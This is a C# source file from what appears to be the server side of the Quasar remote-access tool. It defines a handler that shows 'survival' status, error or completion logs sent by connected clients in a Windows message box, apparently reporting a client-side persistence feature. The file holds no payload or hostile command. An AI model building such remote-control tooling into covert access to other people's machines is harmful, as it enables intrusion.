using Quasar.Common.Messages;
using Quasar.Common.Networking;
using Quasar.Server.Networking;
using System;
using System.Windows.Forms;

namespace Quasar.Server.Messages
{
    public class SurvivalLogHandler : MessageProcessorBase<NewSurvivalLog>
    {
        public SurvivalLogHandler() : base(true)
        {
        }

        public override bool CanExecute(IMessage message) => message is NewSurvivalLog;

        public override bool CanExecuteFrom(ISender sender) => true;

        public override void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case NewSurvivalLog response:
                    Execute(sender, response);
                    break;
            }
        }

        private void Execute(ISender client, NewSurvivalLog message)
        {
            string title = message.LogType == "error" ? "Survival Error" :
                          message.LogType == "complete" ? "Survival Complete" :
                          "Survival Status";

            MessageBoxIcon icon = message.LogType == "error" ? MessageBoxIcon.Error :
                                 message.LogType == "complete" ? MessageBoxIcon.Information :
                                 MessageBoxIcon.Information;

            MessageBox.Show(message.Log, title, MessageBoxButtons.OK, icon);
        }
    }
}
